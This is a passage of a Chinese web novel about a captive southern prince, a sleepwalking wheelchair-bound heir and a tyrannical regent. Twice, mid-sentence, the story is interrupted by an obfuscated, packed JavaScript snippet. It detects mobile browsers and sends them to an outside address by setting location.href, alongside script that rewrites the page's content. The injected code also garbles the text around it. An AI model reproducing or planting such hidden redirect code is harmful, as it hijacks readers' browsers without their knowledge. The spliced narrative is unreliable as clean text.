“唐突神仙姐姐了。”邱晚拱了拱手,顺着那消失的细线,去触摸屏风,忽听得一连串细微的齿轮卡哒声,紧接着书斋内传来“咣当”一声。 邱晚回头望去,书斋错层的书架间,豁然出现了一个密道! 邱晚以为是自己误触了密道机关,没想到那黑漆漆的密道里隐约出现了一个坐轮椅的身影。 夜色如流光垂落,那人自黑暗中来。 “萧寂?”邱晚轻声问道。 窗外影影幢幢,是崔自青的人在巡视。 萧寂没有吱声,只是驱使着轮椅,直直朝邱晚过来。 待到他的脸显露于卧房的烛光中,邱晚才发现不对劲,他双眼半睁,眼神空洞,神情呆呆的。 “萧寂,你来做甚?”邱晚又问他。 萧寂依然没有吱声,甚至连眼皮也未眨一下,他似乎有自己的行动路径,动作也木木的。 邱晚往床上一缩,轮椅已碾到床边,撞到了邱晚垂在床边的脚尖,还怼了两下。 “你……”邱晚正要说话,萧寂肩一塌,伏下身,抱住了邱晚的腿。 邱晚登时绷得笔直! “我摇铜铃了……”萧寂呢喃着,将头埋在邱晚腿间,含糊说着话,“你为什么不来?” 这人像一只受伤的猫咪,像是梦呓,又像是真的受了很大的委屈,喃喃重复着:“你为什么不来?” 邱晚心如擂鼓,张着双臂,望向书斋的密道,又望向人影绰绰的窗外,寻思要不要将人原路给他塞回去。 可萧寂忽而手一撒,整个人身子一歪,眼看要滚下轮椅去。 邱晚立马接住他,这人看着瘦,怎么这么重! 少年没了骨头似的,所有重量都压在邱晚手上,邱晚揽着他的肩,轻摇他:“你是醒的,还是睡着的?” 萧寂似乎真的沉睡过去了,长长的睫毛贴在薄薄的下眼睑,像仙鹤合上的翅。 邱晚发现他只穿了单薄的寝衣和白袜,像是直接从床上爬下来的,一双瘦长的腿裹在墨色锦缎里,弯曲于轮椅里,十分扎眼。 这人,莫非是梦游了? 想到白天萧寂脱下鞋送他的情形,又想到方才顾千尘提到的萧寂的身世,邱晚的心忽而软软的。 “这本就是你娘的屋子,你想睡,就在这睡吧。”邱晚叹气。 邱晚费了老大劲才将萧寂从轮椅搬到了榻上,少年的骨架很大,他若是能正常站起来,想必会比看上去要高许多。 多周正的一个人。 可惜了。 萧寂身上有很浓的药味,显然刚服过药,他手脚蜷缩着,像寻求抚慰的婴儿,邱晚对病弱者一向有天然的怜悯,他轻抚萧寂的背,叫他放松,将他的手脚摆正,轻声哄道:“我师父说,小孩睡觉要将手伸直、脚伸直,这样可以长高高。” 门外忽而传来敲门声,有人道:“公子。” 邱晚转身:“何事?” “崔小将军命令我送来新的被褥与炭。”门外人道。 邱晚一听这个名字就头疼,直接拒绝:“拿走,我不需要。” “公子,收下吧,否则我没法跟崔小将军交待。” 邱晚探身将烛火一吹:“我睡了,别再来了。” 门外终于没声了,邱晚在黑暗中坐了一会,回头便见萧寂半睁着眼,正幽幽望着他。 那双眼黑洞一样,笼着雾气,像黎明前大雾笼罩的漆黑森林,仿若能吞噬一切。 邱晚被他望得心中一颤:“你醒了?要我送你回去吗?” 少年怔怔的,眼皮仍是一动不动。 邱晚用手在眼前晃了晃,没有反应,看来仍未醒。 “安心睡吧,我不吵你。”邱晚捻住被角,要为他盖被,萧寂却忽而拢住邱晚的腰,将他往下一拖,邱晚没想到他力气这么大,低叫一声,被他摁在了臂弯里。 萧寂动作依旧顿顿的,他一手拢住邱晚的脖子,一手握住邱晚的手腕。 嘴里喃喃道:“手伸直……脚伸直……”一边说着,一边逐个逐个的,将邱晚的手与脚掰得直直的,摆在两侧。 邱晚哭笑不得。 “我不睡这。”邱晚刚要起身,又被萧寂按了回去。 “手伸直……脚伸直……”再次被规规矩矩摆在身侧。 邱晚心道不好,他不会被这梦游人当玩偶了吧? 梦游的少年似乎很满意,将摆好的人儿又往自己怀里揽了揽,抱得紧紧的,喃喃道:“安心睡吧,我不吵你。” 温热的呼吸喷在耳侧,带着药香和梅花香,还有少年特有的血气。 邱晚甚至能听清萧寂心脏搏动的声响,邱晚在黑暗中眨了眨眼,目光落在他颈侧的青色动脉上,少年的皮肤很薄,白中透着香,邱晚牙尖有些痒。 正煎熬中,书斋那密道里又滚出来一个人。 却是一刀。 “主子!”一刀几步飞过来,“你怎么跑这来了,叫我好找……” 待看到床上两人的形态,一刀低叫出声:“抱不得!抱不得啊!主子快松手!” 邱晚朝他使唇语:“带、他、走。” 一刀忙点头:“好好好,我这就带他走。” 说着蹑手蹑脚要来抱萧寂,可那萧寂梦里长了眼似的,一刀的手还未靠近,他忽的从袖中弹出一把短匕,“唰”的一下便在一刀手上划出一道血痕。 身手之快,一刀此等高手,都毫无躲避之力。 邱晚呼吸一滞,脸便被萧寂掰了过去。萧寂弓着肩背,绷成拉满的弓,浑身刺剌剌的,像只暴起的兽,攻击性十足,他将邱晚死死抱在怀里,阴森森盯着一刀。 “主子,我是一刀啊。”一刀压着声音说道。 萧寂似乎完全不认得此人,他眼珠一动不动,他摸索着邱晚的脸,像要确认他的存在。 “主子,这位是邱太子,你让他暂居在这的,记得吗?”一刀压低着声音,靠近,“乖,快松开,跟我回去。” 萧寂从喉间发出一声低嘶,像是警告。 “等等。”一刀慌忙从腰间荷囊中摸出一个铜铃,“还好我有吉空大师给的宝贝。”他将那铃铛举到眼前,轻摇着,“主子,看这里,听话……” 叮铃铃的铃声,清清脆脆敲打着鼓膜。 萧寂眼神恍惚,手中力道似乎抽离了一些。 “对,就是这样。”一刀一点一点靠近,小心翼翼取走他的手中刀,又来取萧寂本人。 他屏住呼吸,将熊抱状的主子从邱晚身上剥离,一边剥,一边轻声道:“抱歉,抱歉,冒犯了。” 邱晚一动不敢动,生怕干扰了他。 可一个不小心,一刀的手碰到了邱晚的脸。他瞬间背脊一凉,还未动作,萧寂已擒住一刀那根倒霉的手指,咔嚓一折。 一声清脆的骨裂声。 一刀龇牙咧嘴,疼得跺脚:“主子,断、断了!” 邱晚目瞪口呆。 巡防的人察觉到屋内动静,贴窗问道:“公子,发生了何事?” “没什么!”邱晚忙朝一刀使眼色,“别再吵我。” “是。” 说话间,萧寂已将邱晚全须全尾揽入了怀中,这回抱得更紧了,生怕被人抢走一丝一毫。 一刀有些绝望,压低着声音:“要不打晕扛走?” 邱晚轻叹,看向窗下的矮榻:“你去那守着。”他又看了眼萧寂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336918|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等他睡醒吧。” “唉!”一刀感激得想哭,“公子你真是个好人。” 一刀走了几步,又退回来:“公子,要不我守在床边吧?要是主子有什么过激行为,挨得近,我还来得及……” 邱晚:“……” 这个萧寂到底干过什么事,将他的贴身侍卫折磨得这样可怜。 “随你。” “唉!”一刀欢欣寻来一床被褥,正要躺下,想了想,又悄悄挪得远了些。 他从荷囊里摸出来一小瓶膏药,并一卷纱布,熟练地将受伤的手指给包扎了,他一边咬着纱布,一边还嘟囔着:“也是奇了,主子睡觉从来不让人碰。” 邱晚不知他在咕哝啥,只觉人生荒谬。 抱着他的罪魁祸首呼吸已渐渐平静,邱晚却久久无法入睡,他干睁着眼,看着窗下那罐岁寒三友。 不知为何,邱晚很喜欢萧寂身上的味道。 小时候,皇兄璟总会在他生辰那日,避开宫人,带着邱晚悄悄骑马到皇城外的无棘山上去采几枝红梅。 璟站在高高在山岗上,长身而立,他眺望着建康城繁华的帝王城畿,还有大江之北的辽阔山河,说道:“阿晚,总有一天,南邱将不再被称为南邱,而是邱朝,是大邱!大邱的版图将覆盖这万里山河,华夏同源,天下一统,四海之内若一家,百姓安居乐业。” 邱晚一点也不怀疑,他站在璟身后,坚定道:“哥,你会做到的。” 邱晚没想到,他只不过跟着韩松之去苍山平了一趟匪乱,途中便得到了太子璟暴毙的噩耗,邱晚不信,他的皇兄身体素来康健,他明治善理,文武皆备,胸有雄才大略,心系天下百姓,是举邱朝之力培养出来的帝王之才,不可能就这样没了。 邱晚哭着回到建康城,璟却早已入殓,邱晚最后一面都没能见着,就被草草披上太子冠冕,架上了太子之位。 仿若一夜之间,什么都变了。 陷入阴云的建康城还未喘过气来,雍兵便打来了。 主和派唆使邱文帝举朝南逃,建康城沦陷,邱晚被俘,身陷囹圄,区区数月,恍若隔世。 邱晚想念璟,想念那个从小将他护在身后的皇兄,如果他还在,邱朝定不是现在这个模样。 风雪仍在肆虐,夜色透过窗侵染着那罐“岁寒三友”,红的梅,青的松,绿的竹,都被这寒凉之地的夜染成了漆黑的墨。 邱晚眼角湿润了,眼泪吧嗒吧嗒的掉,如果璟在这,一定会笑他,阿晚小哭包,男儿有泪不轻弹。 “你有小名吗?”身后之人忽而出了声。 邱晚一怔,满脸的脆弱全落入了那人眼中。 邱晚抽着鼻子,问道:“你是醒的,还是睡着的?” 萧寂眼神幽幽的,看不分明。 “小字阿晚。”邱晚道。 “我可以叫你阿晚吗?”少年声线很低,像呓语。 幽幽梅香浸入邱晚肺腑,邱晚答道:“今晚可以,以后不行。” 萧寂复又闭上了眼,轻拍邱晚微颤的肩,迷迷糊糊安抚道:“阿晚,不怕了,想家了就哭吧。” 这感觉似曾相识,许多年前,也是这样大雪纷飞的夜,邱晚似乎也对谁说过同样的话。 邱晚似被传染了睡意,也朦胧睡去, 翌日天未亮,邱晚在一阵心慌的饥渴中醒来。 他似乎抱着一段肉骨头,磨牙似的轻啃着。 肉骨头软软的,又香又甜,邱晚啃得涎水都流出来了,愣是一口也没吃着。 他很不满足,张嘴正要下狠心咬,忽而觉着不对劲,“啪”的睁眼一看,自己正抱着萧寂的脖颈,啃得他颈间湿漉漉的,那白净的皮肤上,一大片凌乱的牙印。 邱晚全身一僵。 抬眼便见,萧寂垂着眸子,正幽幽看着他。 “你别误会!” “我、我只是……”邱晚慌了,“……饿了。” 10.偷食 衾被间,手臂环着颈,邱晚起了薄汗,湿了轻衣。 “我是不是在哪见过你?”萧寂哑声道。 他有一双不羁的眼,狭长而尖,不笑时自带一股又阴又狠的气质,像一把锐利的尖刀。 可他这样垂着长长的睫毛,幽幽望过来时,又仿若尖刀上振翅的蝶,小心翼翼。 邱晚望着他颈间的牙印,觉得是自己轻薄了他一般,他心虚道:“我自小跟着师父四处游历,去过许多地方,说不定……你真见过见我。” “你师父是谁?” “他说他姓苏,号罘罳居士,我觉得他是唬我的。” “他在哪?为什么不来救你?”萧寂继续问道,“抱歉,我只是……非常想了解你。” “他已经走了,他说他不是这个世界的人,不能留在这。”邱晚怏怏的,想到师父他的心总是满满的,可这世上之人,缘起缘灭,缘聚缘散,不得强求。 师父说,每个人都有自己要走的路,以后的路,他得自己走,可他又总觉得,冥冥之中,师父就在他身边一样。 邱晚抹了下脸,问萧寂:“你醒多久了?” “有一会了。” “醒了为何不叫我?” “看你咬得很投入,不想打搅你。” 邱晚脸倏地红了,一时无地自容。 “你饿了就喜欢咬人?这是什么癖好?你还咬过谁?”萧寂又问道。 邱晚又羞又愧:“别问了。” “好。”他乖巧答道。 邱晚觉得他这个人很奇怪,有时候像个小恶魔,有时候又特别乖巧,就像现在这样。 他身上的少年血气实在是诱人,邱晚每日晨起都会特别饥饿,靠近萧寂让这饥饿感成倍增加了,十分折磨人。 邱晚决定离他远点。 萧寂却又无辜人一样,挨过来:“我怎会在此?” 他的语气很平静,仿佛这是一件稀松平常的事。 邱晚闭了闭眼:“你自己跑来的。”环顾一圈,一刀那小子也不知跑哪去了,邱晚也没了证人,只得说道,“你梦游了。” 萧寂“啊”了一声,眼底的笑意已藏不住了:“常有的事。” “你笑什么?”邱晚有点恼,仿若昨晚莫名其妙跑进这抱朴轩、对人又抱又搂还持刀伤人的不是他是似的。 “这里……”萧寂伸出手指,靠近来。 邱晚往后躲了躲。 “别动。”萧寂用手指捻着衣袖,在邱晚嘴角擦了擦。 当邱晚意识到他在擦什么,脸又红了。 “你怎会这么饿?在凉王府没吃饱?”萧寂一边擦一边笑,“你喜欢吃什么?” 你的血。 邱晚晃晃头,晃掉脑袋中那些不宜的念头。 邱晚跟着师父四处游历时,最喜欢吃的便是豆腐,甜的咸的,蒸的炒的,生的熟的,邱晚都喜欢,如果一定要选一样,那便是它了。 “听说南邱人都喜欢豆腐,你喜欢吗?”萧寂仿若猜到了他所想。 邱晚有些惊讶,点点头。 “我记住了。”萧寂仍在笑。 雪夜后的清晨,晨光里揉着雪光,天边还悬着寥寥几点寒星,府邸深深,街巷寻常人家的声音很难透进来。 可邱晚分明听见了爆竹的声响。 萧寂也听见了,他说:“今儿除夕,会有家宴,希望你能吃饱。” “除夕?”邱晚一时恍惚,原来今儿已经是除夕了。 萧寂用胳膊枕着脸,又挨近一点,问道:“南邱的除夕是怎么过的?” 这让邱晚有一种错觉,仿若他们是在某处破庙或是某个客栈萍水相逢的两个陌生人,轻松地聊着家乡风物。 “掸尘扫地、贴春联、祭祖、吃年糕、饮屠苏酒、和家人守岁……”邱晚正要细说,门外却响起了敲门声。 “公子,王爷醒了,请公子过去。” 邱晚背脊一凉,陡然从那短暂的温馨假象中清醒。这让他重新意识到,自己身在何处,处于何境。 “一定要去吗?”萧寂轻声道。 邱晚抿了抿唇:“得去。” 门外人又催了:“公子,王爷在等,请公子尽快起身。” “等着。”邱晚烦躁回道,转身对萧寂说,“你得走了。” “我行动不便,可以抱我上轮椅吗?”萧寂仰着脸说道。 行动不便?也不知昨晚某人是如何来到这里的。 邱晚揉揉头,得尽快送走这尊神。 “过来。”邱晚伸出手,萧寂便主动揽了上来,这次他借了力,邱晚并不费劲,邱晚半抱半拽将他移到轮椅里,又将他的双腿摆好,他还抓着邱晚的手臂不松。 “昨晚我睡得很好,我已经很久没有睡得这样好了。” 睡得好?邱晚哭笑不得:“你还记得你昨晚做了什么吗?” 萧寂摇摇头,只道:“我做了个好梦。” 跟一个梦游人聊这些无异于对牛弹琴,邱晚不再多言,将萧寂送到了书斋的密道口:“世子爷,请回吧。” 萧寂始终仰着脸望他,牵住邱晚衣角,不肯走,他再次问道:“可以不去吗?” “不行。”邱晚答道。 “你也会像这样咬他脖子吗?”萧寂指指自己脖颈。 “这是意外。”邱晚斩钉截铁道,“这种事不会再发生了。” “那你会咬他吗?”萧寂继续追问。 邱晚顿了一下,他向来不喜欢扯谎,便模棱两可道:“以后不会了。” 以后不会了,那便代表曾经咬过。萧寂的脸沉了沉,但邱晚说以后不会了,他便展颜又笑了:“好。” 他愉快地转动轮椅,驶入了那条通往归真阁的密道。 密道内很静,萧寂舒展着手臂,手指触摸着那潮湿的墙壁,墙壁上长满了苔,指腹仿若被无数细软的舌舔过。 萧寂蜷了蜷手指,回味着指尖触过邱晚唇边的感觉。 空气中隐约可闻雪水与泥土的清香,萧寂幸福极了,因为他颈间有那人留下的东西。 靠近邱晚让萧寂觉得幸福,萧寂不知道这算什么,他原本以为,这世上已经没什么人或事物能让他感觉幸福了。 密道里有风,仿若要将萧寂托起,萧寂轻飘飘的,可那幸福并不长久,密道尽头的微光钻进来,萧寂从短暂的幸福幻境中清醒过来。 凉王叫走了邱晚,凉王是这座府邸的主人,是整个北雍的主人,小皇帝萧蘅惧怕他,北雍满朝文武无人敢反抗他,他把持朝政军政,为所欲为,想怎样就能怎样,包括对邱晚。 萧寂唇边的笑意渗起了寒意。 看来,香雪坞的那场火,还不够大。 凉王并未在卧房召见邱晚,而是将人带到了议事厅。 穿过长长的游廊来到前院时,邱晚远远便看到,议事厅里灯火通明。 “邱公子到了。” 门帘被掀起,满屋子的人纷纷转身过来。 这些人有些是朝中重臣,有些是军中大将,有些是氏族大家的家主,他们一个个衣冠楚楚,或虎视眈眈,或玩味地,盯向邱晚。 邱晚立马被一种强烈的压迫感笼罩,那些目光织成铁幕,压向他。 屋里熏着香,烟雾缭绕,还有一股奇怪的味道,邱晚闻出来了,那是五石散。 凉王穿着家常便服,坐在人群正中央的榻上,未戴冠,锐利的脸上透着病气,一双鹰眼直勾勾看着邱晚。 燕绥一身红衣侍立于他身侧,身体有意无意地靠着他。 凉王一反与邱晚独处时的模样,眼神冷漠,只有权贵居高临下的鹰瞵。 “过来。”凉王命令道。 邱晚远远站着,并不动作,他不想靠近这些人。 凉王却像要故意给他难堪,再次命令道:“本王叫你过来。” “王爷有什么话,就请这样说。若无事,我便走了。”邱晚说道。 人群中有人嗤笑了一声,正是之前见过的那位紫膛色脸、满面油光的人,顾千尘说他好酒色,好房中术,身上脏,要远离。 “王爷,这位邱太子,倒是有意思。”他颇有兴味地望着邱晚。 “邱辞兮!”凉王将一封文书摔于邱晚脚边,厉声道,“今日凌晨,鸿胪寺便收到南邱的请和书,你的亲皇叔,还有他背后的那帮废物,求着北雍休战,你还要硬气到何时?” 邱晚心中一颤,他乜眼看向那份散开的文书。 银朱色,绣着金龙,是南邱国书特用的形制,上头赫赫盖着南邱的玉玺,“受命于天,既寿永昌”八字印文,如尖刀刺入邱晚的眼。 邱晚握紧颤抖的拳,直视凉王发怒的眼。 “邱朝只要还有一人在,护国的心火便不会熄,晟亲王愿意当狗,不代表整个邱朝都会跟着跪下。” “我邱辞兮,也不会跪。” 人群立时有了动静,这些人大眼觑小眼,敢情……凉王还未能将这位邱太子收服? “南邱的武将,死的死,老的老,残的残,唯一可用的还在北雍的大牢里,这位邱太子,请问你想拿什么跟北雍继续打,拿你嘴上的硬气,还是你身后的……”这人看向邱晚的后腰,忽然大笑起来,笑得淫邪。 他手插着腰,猥琐地挺了挺,仍在大笑:“抱歉诸位,卢某是粗人,只是这位邱太子在班师回都的路上便已经……哈哈哈……” “这就是素称治军严谨的雍军吗,果真让我大开眼界。”邱晚眸光扫过凉王,又落到崔自青脸上。 崔自青脸色白了白,喝道:“卢战!凉王及诸位大臣在此,休得放肆!” 卢战是凉王麾下的第一猛将,以爱“杀降”而著称,打战狠猛,素来猖狂得很,被这一喝,这才意识到场合不对,话说得过了。 那位紫膛脸摆了摆手,又站了出来,面色堪称温和,他说道:“以尔一人之力,免千万百姓受战争之苦,这不叫跪,这叫大义,叫慈悲。” “我是邱太子一日,便是邱朝的脊骨一日,我可以死,但不能折了骨。”邱晚瞪向那人,“更不能让整个邱朝跟着我受辱。” 邱风再次直视凉王:“萧起,我不可能遂你的愿,你趁早死了这条心。” “邱辞兮!”一直稳坐主位的凉王大拍桌子站了起来,双目红得吓人。 “你勿须向我展示北雍凉王的威严,需要戒断的是你!”邱晚冷笑道,“萧起,五石散救不了你,我也帮不了你!这北雍的重担你还担不担得起,你心里有数,病了就找大夫,你好自为之。” 众人一片哗然,这邱太子话中有话。 “站住!”凉王大声喝道,他脸色苍白,浑身开始颤抖。 众人面面相觑,其实这段时日雍都已经有了传言,说这邱太子是妖邪,不能碰,碰了会上瘾,会要人命,凉王已经着了道,病入膏肓,一开始没人信,今日见这番情形,众人却是有几分信了。 凉王酿跄着迈出一步,朝邱晚伸出手:“小晚,到本王身边来。” 邱晚没有听见一般,转身便走。 “邱辞兮!”凉王厉声道,“把他给本王拦住!” “是!”守于议事厅门口的士兵齐齐举起长枪,指向邱晚。 “你以为本王当真舍不得杀你?”凉王撑住桌角,昔日魁梧奇伟的凉王仿若瞬间苍老了许多,他全身颤抖着,魔怔般盯着邱晚,像病入膏肓的瘾君子。 从邱晚进到这间屋子起,他便一直在忍,他忍着邱晚身上若有似无的香,忍着这些人看邱晚的目光,他倍受煎熬,他只需邱晚服一个软,只需他服一个软。 可他为何不肯? 他看着逆光中邱晚决意离去的背影,仿若看到了另一个人,那个人曾流着泪对他说,“萧起,是你把我推进深渊,我死也不会原谅你。” “王爷。”燕绥扶住凉王。 “滚!”凉王暴吼着,推开他,他颤抖着指向邱晚,“来人,把他关入王府地牢!” “是。”燕绥立马领命要拿人。 “呦!这是在闹什么?”庭院里传来一个声音,随之而来的是几声轻咳声,“怎么弄得剑拔弩张?” “陛下?”众人皆很意外,这病得早朝都上不了的小皇帝为何突然出现在这里? “参见陛下。” “参见陛下。” 院中人一个个跪下去。 小皇帝萧蘅被一个小太监扶着,三步一咳走过来,他身上裹着厚厚的裘皮大氅,脸上却仍是一丝血色也无。 萧蘅穿过人群,径直走到邱晚身边,抬手拿掉那些按在邱晚肩上的手,嫌弃似地扔掉。 “邱辞兮乃一国太子,北雍贵客,不得无礼。” 他深深看了邱晚一眼,这才望向那满屋子的朝臣大将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355997|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这里俨然一个小朝廷,一个以凉王为君王的小朝廷,他似乎并不意外,笼着衣袖,笑融融走了进去:“好热闹呀,朕的臣子和将军,都在这呀。” 众臣子这才哗哗跪地,齐声道:“参见陛下。” 凉王没有跪,只是问道:“天寒地冻,陛下怎的来了?” “听闻皇叔病重,朕放心不下,前来探病。”萧蘅扶着小太监,往那主位上一坐,慢悠悠将这群跪着的人扫视了一圈,又掩唇咳了好一阵,这才道,“皇叔请坐。” 凉王怒斥随行之人:“怎么办事的!陛下身弱,如此寒日,岂可随意出宫!” 那小太监一哆嗦,差点就要跪下去了。 “皇叔息怒。”萧蘅倾身道,“朕不请自来,一为探病,二为蹭饭,今日除夕,朕在宫中怪寂寞的,想到凉王府来蹭一顿家宴,三是……”萧蘅凝向凉王,“朕有些时日未见过阿寂了,想见见他。” “诸位爱卿也请起。”萧蘅摆摆手,仍旧笑呵呵的,“今儿除夕,家和万事兴,家和万事兴,外头怪冷的,快,送这位邱太子回房,别冻坏了。” 邱晚听得此言,狐疑地看向小皇帝。 “等等!”凉王阴森森唬了小皇帝一眼,随即大步跨过去,拽住邱晚的手,当着所有人的面,将他一把搂进怀里。 小皇帝噌的站起来:“皇叔。” 凉王用力捏着邱晚的后颈,仿若要将那段脊骨碾碎,他用下巴蹭着邱晚的脸,说道:“不管你在打什么主意,你逃不了。” 邱晚瞪向凉王。 “别敬酒不吃吃罚酒,本王的耐心是有限的。”凉王故意捏住邱晚的下巴,看所有物一样看他,“让本王看看,是谁眼睛都饿红了?在屋子里乖乖呆着,等着本王。” 凉王又将他狠狠搂了搂,命令道:“崔自青,送他回去,亲自看着他。” 崔自青立马弹起:“是!” 直到走出前院,邱晚才被一股汹涌的恶心感兜头袭来,他走到一处假山,扶住洞门,干呕起来。 “怎的了?哪里难受?”崔自青上前察看。 邱晚红着眼,侧眸看向崔自青,看向他那有力跳动的颈动脉,还有他身后,那三个随行之人。 邱晚喉间干渴得要命,暴戾的嗜血本能一阵一阵往上涌,他抠下一片假山碎片,转身进了山洞。 崔自青瞧他脸色不对劲,忙跟了上去。 山洞里曲曲折折,透着星星点点斑驳的光,邱晚走得很快,他接连转过几道石壁,穿过几个洞子,随即转进一个三岔路口的洞子,崔自青追来时,只看到半截衣摆,再追上去时,已没了人影。 “邱辞兮!”崔自青急了,“你出来!这里是凉王府,你逃不了的!” 邱晚消失得无影无踪。 “找人!”崔自青无头苍蝇一般,在山洞中焦急地乱转,“找人!快找!” “是!” 这假山群不小,一侧便是云影湖,湖深两丈余,上头积了厚厚的雪,若是不小心跌进去,非死即病,崔自青从头顶一直凉到脚后跟,他唤道:“邱辞兮,别做傻事,出来。” 无人回应他。 忽听到一阵踢蹬撞击的声音,还有轻微的挣扎声和喘息声。 崔自青的心要提到嗓子眼了,他转过一道石壁,再转过一道,这洞子跟没有尽头了一样,忽而听到“扑通”一声响,有人落湖了! 崔自青循声冲过去,只来得及看到一片衣角,便被湖水吞了个干净。 “小晚!”崔自青想也没想跟着跳了进去。 冰冷的湖水,浸透了他的肺腑,他一个猛子扎过去,于积雪下幽暗的湖水中捞住落水人,可揽住的那一瞬,他发觉不对劲,他搂着人浮出水面,才发现那落水人竟是一个随从。 他一把捋掉脸上的水,抬头便见邱晚高高站在假山上的亭子中,亭角飞翘,他衣袍翻飞,像降临人间的谪仙。 邱晚目光冷冷乜了他一眼,纵身一跃,消失了。 崔自青像个傻子一样浮在水中,气急败坏用拳头怒砸水面,喝道:“快去追。” 邱晚没再逃,而是径直回了抱朴轩。落水的随从并无大碍,只是被碎石划伤了额角和手,晕了过去。 崔自青亲眼看着邱晚入了抱朴轩的门,他正要尾随而入,便被“砰”的一声关在了门外。 “邱辞兮。”崔自青贴着砸门,“让我看你一眼,看到你没受伤,我才放心。” “崔小将军衣裳湿了,该去换了,当心着凉。” 邱晚话音刚落,崔自青便打了一个大大的喷嚏。他久在军营中,野外冬日涉水早习惯了,哪里会怕这一点湖水。可他的心如猛火燎原一样的烧,他抓着门,几乎是扒在门上:“让我看一眼,否则我没法跟义父交待。” “吱呀”一声,门开了。 邱晚完完整整地站在门内。 崔自青差点没站稳摔进门去。 “看到了吗?看到了就滚。”邱晚冷声道。 崔自青身上滴着水,浑身湿漉漉的,被邱晚的目光望得一哆嗦,他想起了昨晚梦里,邱晚贴在他怀里,同他温言软语的模样。 崔自青快疯了。 “崔小将军这可怜的模样,是演的哪门子的戏?”邱晚讥笑道。 “我是个浑蛋。”崔自青自言自语道,“我是个傻子。” 邱晚看着他落荒而逃的背影,又看了一眼他留在门口的这一滩水,蹙了蹙眉。 邱晚关了门,窗前那一罐子岁寒三友,较昨日更旺盛了。 他吃饱了,喝足了,懒懒躺在窗下的矮榻上,扯过一块薄毯,阖眼小憩。今日之事,如流光在他脑中晃过,他总觉得奇怪,小皇帝为何突然来了? 正想着,那铜铃又叮铃铃响了。 邱晚起身朝书斋那藏着密道的书架走去。 密道内有人轻叩三声,随即门一开,是一刀。 “世子有请。”一刀躬身道,“这儿由我守着。” 邱晚没想到萧寂这么快便又找他了,虽然疑惑,但他此刻心情好,见见也无妨。 他手执烛台,穿过密道,远远便见一个坐着轮椅的身影在光晕中等他。 再走近一点,萧寂的脸便出现在烛光中。 “欢迎光临寒舍。” 而越过萧寂的肩,不远的轩窗下,小皇帝萧蘅也正期期望着他。 11.截胡 邱晚仅仅愣了一瞬,便明白了,是萧寂招来的小皇帝。 正惊叹于他小小年纪是如何算准了凉王今日会发难而小皇帝一定会来,萧寂已仰着脸,用求奖励的眼神看着他:“送你的第二份礼,喜欢吗?” “第二份礼?”邱晚又是一惊,那第一份礼是? 不知为何,邱晚想到了将香雪坞烧成平地的那场大火。 邱晚头皮一麻。 萧寂笑着接过邱晚手中的烛台,轻轻一吹,烛火灭了,一缕轻烟从他狭长而上扬的眼角飘过,邱晚这才发觉,萧寂的眼在笑的时候,一扫阴郁,是热烈的,张扬的。 张扬中带着点神经质。 小皇帝萧蘅三步并作两步走过来,一把牵住邱晚的手,直接将他拉了过去,热切说道:“辞兮,他们有没有再为难你?你受伤了没?朕真没想到,竟然可以这样见到你。” 他怼了一下萧寂的肩:“多亏阿寂这个鬼机灵。” 邱晚脑中仍有疑虑。 而萧寂坐在轮椅里,呆在原地没动,目光却钉在了萧蘅拉着邱晚的手上。 他蹙起了眉,手指在盘龙烛台上抠得紧紧的。 “陛下。”邱晚松开萧蘅的手,拱手道,“方才在议事厅,谢陛下解围之恩。” 小皇帝萧蘅重重吁了一口气,从袖中伸出手,摊开掌心给邱晚看,说道:“辞兮你看,方才朕都快吓死了,凉王一黑脸朕就直抖,一吼朕就想跑,差点破功了,朕一直捏着这枚玉貔貅,才坚持了下来,手都快捏破了。” 邱晚瞧着那一点已经快要消去的红痕,心中却是一笑:“陛下方才做得很好,北雍的皇帝就该如此。” “真的吗?”萧蘅轻拍着心口,仍是惊魂未定的模样,他又牵住邱晚,“不过,确实好痛快,辞兮,跟凉王对着干太痛快了!” “陛下,请过来这边坐。”身后传来萧寂的声音。 萧寂已在一张茶桌前坐下,要说这归真阁,那是比抱朴轩还要朴素,简直可以称得上是僧庐里的禅房了。 邱晚奇怪,这堂堂凉王府世子,怎会过得如此寡淡。 萧寂斟上一盏茶,呈给萧蘅,道:“这是义兴阳羡茶,天子未尝阳羡茶,百草不敢先开花,陛下先请。” 萧蘅笑着接了。 萧寂又从漆盒中另取出一只翠青玉盏,仔细用热茶烫过两次,这才斟了茶,双手递给邱晚:“阿晚也喝。” 阿晚? 听到这个称呼,萧蘅抬了抬眉,不满道:“为何我是瓷杯,而辞兮是玉盏?” 萧寂也不奉承,道:“有的喝就喝吧,聒噪。” “嗨,你这浑小子,几月不见,长胆子了啊。”萧蘅笑着拍了拍萧寂的脑袋,随即又宠溺似地揉起他来。 萧寂拍掉他,他又揉,拍掉,他又揉,邱晚观察着打闹的二人,竟不似君臣,甚至比他与皇兄璟之间还要更亲近、随意,不像是装的,更像是自然而然发自内心的亲近。 邱晚不免有些艳羡,问道:“世子不饮茶吗?” “我日常得吃药,不能碰茶。”萧寂捏走萧蘅的爪子。 “就他穷讲究!”萧蘅笑着又揉了他一把,“他茶酒不沾,还是个乳臭未干的小子。” “二位感情真好。”邱晚叹道。 